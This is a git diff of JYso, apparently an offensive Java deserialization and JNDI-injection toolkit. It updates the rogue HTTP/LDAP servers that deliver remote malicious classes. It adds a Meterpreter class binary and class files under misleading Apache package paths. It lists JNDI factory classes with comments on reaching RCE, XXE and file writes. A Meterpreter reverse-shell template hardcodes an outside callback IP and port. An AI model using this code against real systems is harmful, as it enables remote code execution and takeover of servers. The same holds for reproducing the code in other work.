diff --git a/README.md b/README.md index 83597c1..ea7ddb4 100644 --- a/README.md +++ b/README.md @@ -82,4 +82,5 @@ JYso 是 404Team [404StarLink 2.0](https://github.com/knownsec/404StarLink) 中 - https://tttang.com/archive/1405/#toc_groovyclassloader - https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F - https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html +- https://github.com/mbechler/marshalsec diff --git a/build.gradle b/build.gradle index 45b7573..60547b1 100644 --- a/build.gradle +++ b/build.gradle @@ -21,7 +21,7 @@ shadowJar { attributes 'Main-Class': 'com.qi4l.JYso.Starter' } zip64=true - minimize() + //minimize() } dependencies { diff --git a/data/Meterpreter.class b/data/Meterpreter.class new file mode 100644 index 0000000..a083bdf Binary files /dev/null and b/data/Meterpreter.class differ diff --git a/org/apache/catalina/shared/util/SelectItemsIterator.class b/org/apache/catalina/shared/util/SelectItemsIterator.class new file mode 100644 index 0000000..ce4a642 Binary files /dev/null and b/org/apache/catalina/shared/util/SelectItemsIterator.class differ diff --git a/org/apache/logging/xerces/xs/XSObject.class b/org/apache/logging/xerces/xs/XSObject.class new file mode 100644 index 0000000..709a1b5 Binary files /dev/null and b/org/apache/logging/xerces/xs/XSObject.class differ diff --git a/src/main/java/com/qi4l/JYso/HTTPServer.java b/src/main/java/com/qi4l/JYso/HTTPServer.java index 2837524..8ddb9dd 100644 --- a/src/main/java/com/qi4l/JYso/HTTPServer.java +++ b/src/main/java/com/qi4l/JYso/HTTPServer.java @@ -20,6 +20,7 @@ import java.io.FileInputStream; import java.io.IOException; import java.net.InetSocketAddress; import java.nio.charset.StandardCharsets; +import java.util.Arrays; import java.util.HashMap; import java.util.Map; import java.util.jar.JarOutputStream; @@ -41,6 +42,8 @@ public class HTTPServer { System.out.println(ansi().render("@|green [+]|@ New HTTP Request From >>" + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI())); String qi = String.valueOf(httpExchange.getRequestURI()); + + if (qi.contains("setPathAlias")) { Config.BCEL1 = qi.substring(qi.indexOf("=") + 1); System.out.println(ansi().render("@|green [+]|@ 获取参数成功 >> " + Config.BCEL1)); @@ -48,6 +51,7 @@ public class HTTPServer { Config.ROUTE = qi.substring(qi.indexOf("=") + 1); System.out.println(ansi().render("@|green [+]|@ 获取路由成功 >> " + Config.ROUTE)); } + String path = httpExchange.getRequestURI().getPath(); if (path.endsWith(".class")) { handleClassRequest(httpExchange); @@ -435,16 +439,13 @@ public class HTTPServer { String path = exchange.getRequestURI().getPath(); String className = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); System.out.println(ansi().render("@|green [+] Receive ClassRequest: |@" + className + ".class")); - if (Cache.contains(className)) { System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); byte[] bytes = Cache.get(className); exchange.sendResponseHeaders(200, bytes.length); - //这一步返回http请求 exchange.getResponseBody().write(bytes); - } else {//找不到就从/org目录下照 - //String pa = cwd + File.separator + "org"; + } else { String pa = cwd + path; File file = new File(pa); @@ -454,9 +455,11 @@ public class HTTPServer { fileInputStream.read(bytes); } exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); - exchange.sendResponseHeaders(200, file.length() + 1); + exchange.sendResponseHeaders(200, file.length()); exchange.getResponseBody().write(bytes); - System.out.println(ansi().render("@|green [+] 内存马远程类加载成功 |@" + 200)); + + System.out.println(ansi().render("@|green [+] 远程类加载成功 |@" + 200)); + System.out.println("-------------------------------------- JNDI Remote Refenrence Links --------------------------------------"); } else { System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); exchange.sendResponseHeaders(404, 0); diff --git a/src/main/java/com/qi4l/JYso/Starter.java b/src/main/java/com/qi4l/JYso/Starter.java index ce039f5..b9f3e7c 100644 --- a/src/main/java/com/qi4l/JYso/Starter.java +++ b/src/main/java/com/qi4l/JYso/Starter.java @@ -8,6 +8,7 @@ import static com.qi4l.JYso.controllers.ysoserial.ysoserial; public class Starter { + // 用于存储所有的ObjectPayload类 public static CaseInsensitiveMap> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap(); static { for (Class clazz : ObjectPayload.Utils.getPayloadClasses()) { @@ -21,8 +22,10 @@ public class Starter { String logo = "" + " ┏┳┓┏ \n" + " ┃┗┫┏┏┓ \n" + - " ┗┛┗┛┛┗┛ version: 1.33"; + " ┗┛┗┛┛┗┛ "; System.out.println(logo); + + // 如果参数中包含-j,则启动LDAP、HTTP、RMI服务 if (args.length > 0 && args[0].equals("-j")) { Config.applyCmdArgs(args); if (Config.TLSProxy) { @@ -32,6 +35,8 @@ public class Starter { HTTPServer.start(); RMIServer.start(); } + + // 如果参数中包含-y,则启动ysoserial if (args.length > 0 && args[0].equals("-y")) { JYsoMode = true; ysoserial(args); diff --git a/src/main/java/com/qi4l/JYso/controllers/BasicController.java b/src/main/java/com/qi4l/JYso/controllers/BasicController.java index da3e6ef..12d5ed9 100644 --- a/src/main/java/com/qi4l/JYso/controllers/BasicController.java +++ b/src/main/java/com/qi4l/JYso/controllers/BasicController.java @@ -20,9 +20,6 @@ import java.util.Base64; import static org.fusesource.jansi.Ansi.ansi; -/** - * 本地工厂类加载 - */ @LdapMapping(uri = {"/basic"}) public class BasicController implements LdapController { private static String payloadType; @@ -61,12 +58,12 @@ public class BasicController implements LdapController { } String className1 = className.replaceAll("\\.", "/"); + URL turl = new URL(new URL(this.codebase), className1 + ".class"); System.out.println(ansi().render("@|green [+] Send LDAP reference result for |@" + base + " @|green redirecting to |@" + turl)); - System.out.println("-------------------------------------- JNDI Remote Refenrence Links --------------------------------------"); e.addAttribute("javaClassName", "foo"); e.addAttribute("javaCodeBase", this.codebase); - e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ + e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", className); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); diff --git a/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java b/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java index f259580..d861f92 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java +++ b/src/main/java/com/qi4l/JYso/gadgets/URLDNS.java @@ -37,8 +37,85 @@ import java.util.List; @Authors({Authors.GEBL}) public class URLDNS implements ObjectPayload { public static String[] defaultClass = new String[]{ - "CommonsCollections13567", "CommonsCollections24", "CommonsBeanutils2", "C3P0", "AspectJWeaver", "bsh", - "Groovy", "Becl", "Jdk7u21", "JRE8u20", "winlinux", "jackson2100", "ROME", "SpringAOP"}; + "CommonsCollections13567", + "CommonsCollections24", + "CommonsBeanutils2", + "C3P0", + "AspectJWeaver", + "bsh", + "Groovy", + "Becl", + "DefiningClassLoader", + "Jdk7u21", + "JRE8u20", + "ROME", + "Fastjson", + "Jackson", + "SpringAOP", + "winlinux", + "jdk17_22", + "jdk9_22", + "jdk6_8", + "jdk6_11", + "jdk9_10", + }; + + public static String[] jndidefaultclass = { + //"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",//知名getter=classloader,jdk默认就有 + + "org.apache.naming.factory.BeanFactory",//最经典的ObjectFactory,有它+低版本tomcat意味着可以执行单String方法 + "org.apache.catalina.filters.CsrfPreventionFilter$NonceCache",//tomcat9.0.63/8.5.79高版本才有的类,有这个代表无法再用BeanFactory的forceString + "javax.el.ELProcessor",//和BeanFactory最经典的配合 + //"groovy.lang.GroovyShell",//有Groovy所以可以省略了 + //"groovy.lang.GroovyClassLoader",//有Groovy所以可以省略了 + "org.yaml.snakeyaml.Yaml",//知名YAML序列化,可以跟BeanFactory配合 + "com.thoughtworks.xstream.XStream",//知名XML序列化,可以跟BeanFactory配合 + //"org.xmlpull.v1.XmlPullParserException",//XStream依赖 + //"org.xmlpull.mxp1.MXParser",//XStream依赖 + "org.mvel2.sh.ShellSession",//mvel语法,可以跟BeanFactory配合 + //"com.sun.glass.utils.NativeLibLoader",//加载dll或者so,jdk默认就有 + + "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory",//高版本tomcat和低版本tomcat没有forceString时的替代类,和BeanFactory一样只能调setter,但BeanFactory会检测setter所对应的属性 + "org.apache.commons.configuration.SystemConfiguration",//配合GenericNamingResourcesFactory可以篡改jdk环境变量 + "org.apache.commons.configuration2.SystemConfiguration",//配合GenericNamingResourcesFactory可以篡改jdk环境变量 + "org.apache.groovy.util.SystemUtil",//groovy >= 3.0才有,配合GenericNamingResourcesFactory可以篡改jdk环境变量 + "org.apache.batik.swing.JSVGCanvas",//远程加载svg造成XSS,XXE,RCE + + "org.apache.catalina.users.MemoryUserDatabaseFactory",//配合UserDatabase可以XXE,写文件 + "org.apache.catalina.UserDatabase",//配合MemoryUserDatabaseFactory可以XXE,写文件 + + "org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory",//以下均为DataSourceFactory,可以造成jdbc + "org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory", + "org.apache.commons.dbcp.BasicDataSourceFactory", + //"org.apache.commons.pool.KeyedObjectPoolFactory",//commons-dbcp1依赖 + "org.apache.commons.dbcp2.BasicDataSourceFactory", + //"org.apache.commons.pool2.PooledObjectFactory",//commons-dbcp2依赖 + "org.apache.tomcat.jdbc.pool.DataSourceFactory", + //"org.apache.juli.logging.LogFactory",//tomcat-jdbc依赖 + "com.alibaba.druid.pool.DruidDataSourceFactory", + "com.zaxxer.hikari.HikariJNDIFactory", + //"org.slf4j.LoggerFactory",//HikariCP依赖 + "org.h2.Driver",//h2 jdbc,可以RCE + "org.postgresql.Driver",//postgresql,可以远程加载XML执行SPEL,可以写文件 + "org.springframework.context.support.ClassPathXmlApplicationContext",//postgresql RCE依赖spring环境 + "com.mysql.jdbc.Driver",//mysql,可以二次反序列化,可以读文件,可以XXE + "com.mysql.cj.jdbc.Driver", + "com.mysql.fabric.jdbc.FabricMySQLDriver", + "oracle.jdbc.driver.OracleDriver",//oracle,可以带出机器用户名 + "com.ibm.db2.jcc.DB2Driver",//db2,可以写文件 + "COM.ibm.db2.jcc.DB2Driver", + + "com.ibm.ws.webservices.engine.client.ServiceFactory",//WebSphere的ObjectFactory,可以远程加载jar,很少用到 + "com.ibm.ws.client.applicationclient.ClientJ2CCFFactory", + + + "oracle.ucp.jdbc.PoolDataSourceImpl",//反序列化转getter(getConnection)转jdbc(h2)转所需要的DataSource中转类,weblogic依赖 + //"com.mchange.v2.c3p0.DriverManagerDataSource",//有C3P0所以可以省略了 + //"com.mchange.v2.c3p0.test.FreezableDriverManagerDataSource",//有C3P0所以可以省略了 + //"com.alibaba.druid.pool.xa.DruidXADataSource",//有com.alibaba.druid.pool.DruidDataSourceFactory所以可以省略了 + "org.hibernate.service.jdbc.connections.internal.DriverManagerConnectionProviderImpl",//hibernate-core-4.x,比较低版本才有的类 + + }; public static List list = new LinkedList(); @@ -135,22 +212,6 @@ public class URLDNS implements ObjectPayload { Object JRE8u20 = getURLDNSGadget("JRE8u20." + dnsLog, "javax.swing.plaf.metal.MetalFileChooserUI$DirectoryComboBoxModel$1"); list.add(JRE8u20); break; - case "winlinux": - //windows/linux版本判断 - Object linux = getURLDNSGadget("linux." + dnsLog, "sun.awt.X11.AwtGraphicsConfigData"); - Object windows = getURLDNSGadget("windows." + dnsLog, "sun.awt.windows.WButtonPeer"); - list.add(linux); - list.add(windows); - break; - case "jackson2100": - //jackson-databind>=2.10.0存在一个链 - Object jackson2100 = getURLDNSGadget("jackson2100." + dnsLog, "com.fasterxml.jackson.databind.node.NodeSerialization"); - list.add(jackson2100); - break; - case "fastjson": - Object fastjson = getURLDNSGadget("fastjson." + dnsLog, "com.alibaba.fastjson.JSONArray"); - list.add(fastjson); - break; case "ROME": //rome <= 1.11.1 Object rome1000 = getURLDNSGadget("rome1000." + dnsLog, "com.sun.syndication.feed.impl.ToStringBean"); @@ -158,16 +219,59 @@ public class URLDNS implements ObjectPayload { list.add(rome1000); list.add(rome1111); break; + case "Fastjson": + Object fastjson = getURLDNSGadget("fastjson." + dnsLog, "com.alibaba.fastjson.JSONArray"); + list.add(fastjson); + break; + case "Jackson": + //jackson-databind>=2.10.0存在一个链 + //此链实战中有50%概率触发getStylesheetDOM导致不成功,因此需要org.springframework.aop.framework.JdkDynamicAopProxy封装,这个类的jar包和springAOP一样 + Object jackson2100 = getURLDNSGadget("jackson2100." + dnsLog, "com.fasterxml.jackson.databind.node.NodeSerialization"); + list.add(jackson2100); + break; case "SpringAOP": - //fastjon/jackson两个链的变种都需要springAOP + //fastjon/jackson两个链触发toString的变种,都需要springAOP Object springAOP = getURLDNSGadget("SpringAOP." + dnsLog, "org.springframework.aop.target.HotSwappableTargetSource.HotSwappableTargetSource"); list.add(springAOP); break; + case "winlinux": + //windows/linux版本判断 + Object linux = getURLDNSGadget("linux." + dnsLog, "sun.awt.X11.AwtGraphicsConfigData"); + Object windows = getURLDNSGadget("windows." + dnsLog, "sun.awt.windows.WButtonPeer"); + list.add(linux); + list.add(windows); + break; + case "jdk17_22": + Object jdk17_22 = getURLDNSGadget("jdk17_22." + dnsLog, "jdk.internal.util.random.RandomSupport"); + list.add(jdk17_22); + break; + case "jdk9_22": + Object jdk9_22 = getURLDNSGadget("jdk9_22." + dnsLog, "jdk.internal.misc.Unsafe"); + list.add(jdk9_22); + break; + case "jdk6_8": + Object jdk6_8 = getURLDNSGadget("jdk6_8." + dnsLog, "sun.misc.BASE64Decoder"); + list.add(jdk6_8); + break; + case "jdk6_11": + Object jdk6_11 = getURLDNSGadget("jdk6_11." + dnsLog, "com.sun.awt.SecurityWarning"); + list.add(jdk6_11); + break; + case "jdk9_10": + Object jdk9_10 = getURLDNSGadget("jdk9_10." + dnsLog, "jdk.incubator.http.HttpClient"); + list.add(jdk9_10); + break; + case "all": for (int i = 0; i < defaultClass.length; i++) { setList(defaultClass[i], dnsLog); } break; + case "jndiall": + for (int i = 0; i < jndidefaultclass.length; i++) { + setList(jndidefaultclass[i], dnsLog); + } + break; default: Object hm = getURLDNSGadget(clazzName.replace(".", "_").replace("$", "_") + "." + dnsLog, clazzName); list.add(hm); @@ -200,6 +304,11 @@ public class URLDNS implements ObjectPayload { setList("all", url); break; + // jndi 时会测试JNDI相关的类 + case "jndiall": + setList("jndiall", url); + break; + case "null": return getURLDNSGadget(url, null); // 默认指定类 diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java index f2d7120..093fec9 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java @@ -17,8 +17,7 @@ import java.util.Hashtable; import java.util.Map; import static com.qi4l.JYso.gadgets.Config.Config.*; -import static com.qi4l.JYso.gadgets.utils.Utils.saveCtClassToFile; -import static com.qi4l.JYso.gadgets.utils.Utils.writeClassToFile; +import static com.qi4l.JYso.gadgets.utils.Utils.*; import static com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler.insertField; import static com.qi4l.JYso.gadgets.utils.handle.ClassMethodHandler.insertCMD; import static com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler.generateClassName; @@ -28,9 +27,9 @@ import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIA public class Gadgets extends ClassLoader { public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; - public static Class TPL_CLASS = TemplatesImpl.class; - public static Class ABST_TRANSLET = AbstractTranslet.class; - public static Class TRANS_FACTORY = TransformerFactoryImpl.class; + public static Class TPL_CLASS = TemplatesImpl.class; + public static Class ABST_TRANSLET = AbstractTranslet.class; + public static Class TRANS_FACTORY = TransformerFactoryImpl.class; static { // special case for using TemplatesImpl gadgets with a SecurityManager enabled @@ -205,7 +204,7 @@ public class Gadgets extends ClassLoader { } } - byte[] bytes = ctClass.toBytecode(); + byte[] bytes = ctClass.toBytecode(); String classCode = Base64.getEncoder().encodeToString(bytes); //System.out.println("Base64 Encoded CtClass: " + classCode); ctClass.detach(); @@ -274,7 +273,9 @@ public class Gadgets extends ClassLoader { } String className = ctClass.getName(); - writeClassToFile(className, ctClass.toBytecode()); + ctClass.writeFile(); + + //writeClassToFile(className, ctClass.toBytecode()); return className; } @@ -301,31 +302,33 @@ public class Gadgets extends ClassLoader { public Class defineClass(String name, byte[] bytecode) { return defineClass(name, bytecode, 0, bytecode.length); } - public static Hashtable makeTableTstring(Object o) throws Exception{ + + public static Hashtable makeTableTstring(Object o) throws Exception { Map tHashMap1 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); Map tHashMap2 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); - tHashMap1.put(o,"Unam4"); - tHashMap2.put(o,"SpringKill"); - Reflections.setFieldValue(tHashMap1,"loadFactor",1); - Reflections.setFieldValue(tHashMap2,"loadFactor",1); + tHashMap1.put(o, "Unam4"); + tHashMap2.put(o, "SpringKill"); + Reflections.setFieldValue(tHashMap1, "loadFactor", 1); + Reflections.setFieldValue(tHashMap2, "loadFactor", 1); Hashtable hashtable = new Hashtable(); - hashtable.put(tHashMap1,"Unam4"); - hashtable.put(tHashMap2,"SpringKill"); + hashtable.put(tHashMap1, "Unam4"); + hashtable.put(tHashMap2, "SpringKill"); tHashMap1.put(o, null); tHashMap2.put(o, null); return hashtable; } - public static HashMap maskmapToString(Object o1, Object o2) throws Exception{ + + public static HashMap maskmapToString(Object o1, Object o2) throws Exception { Map tHashMap1 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); Map tHashMap2 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); - tHashMap1.put(o1,null); - tHashMap2.put(o2,null); - Reflections.setFieldValue(tHashMap1,"loadFactor",1); - Reflections.setFieldValue(tHashMap2,"loadFactor",1); - HashMap hashMap = new HashMap(); - Class node = Class.forName("java.util.HashMap$Node"); + tHashMap1.put(o1, null); + tHashMap2.put(o2, null); + Reflections.setFieldValue(tHashMap1, "loadFactor", 1); + Reflections.setFieldValue(tHashMap2, "loadFactor", 1); + HashMap hashMap = new HashMap(); + Class node = Class.forName("java.util.HashMap$Node"); Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node); constructor.setAccessible(true); Object node1 = constructor.newInstance(0, tHashMap1, "Unam4", null); diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java index 73ca9ee..38104d3 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java @@ -89,6 +89,7 @@ public class Serializer implements Callable { XStream xstream = new XStream(); String xml = xstream.toXML(obj); System.out.println(xml); + return; } else if (IS_Kryo) { Kryo kryo = new Kryo(); ByteArrayOutputStream bos = new ByteArrayOutputStream(); diff --git a/src/main/java/com/qi4l/JYso/template/echoStatic/Meterpreter.java b/src/main/java/com/qi4l/JYso/template/echoStatic/Meterpreter.java index 38b2a82..42f6c26 100644 --- a/src/main/java/com/qi4l/JYso/template/echoStatic/Meterpreter.java +++ b/src/main/java/com/qi4l/JYso/template/echoStatic/Meterpreter.java @@ -14,11 +14,10 @@ public class Meterpreter implements Runnable { public static String host = "111.229.10.212"; public static String port = "23412"; - //public String host; - //public String port; - static /* synthetic */ Class class$0; - static /* synthetic */ Class class$1; - static /* synthetic */ Class class$2; + + static Class class$0; + static Class class$1; + static Class class$2; static { diff --git a/src/test/java/Main.java b/src/test/java/Main.java index cb90d32..dc58951 100644 --- a/src/test/java/Main.java +++ b/src/test/java/Main.java @@ -1,7 +1,13 @@ -import com.qi4l.JYso.LdapServer; - public class Main { public static void main(String[] args) { - System.out.println(LdapServer.class.getPackage().getName() + ".template.echo." + "WindowsEcho"); + String input = "org/apache/myfaces/core/service/IoServiceListenerSupport"; + int lastIndex = input.lastIndexOf('/'); + if (lastIndex != -1) { + String result = input.substring(lastIndex + 1); + System.out.println(result); + } else { + // 如果没有'/'字符,则直接打印原字符串 + System.out.println(input); + } } }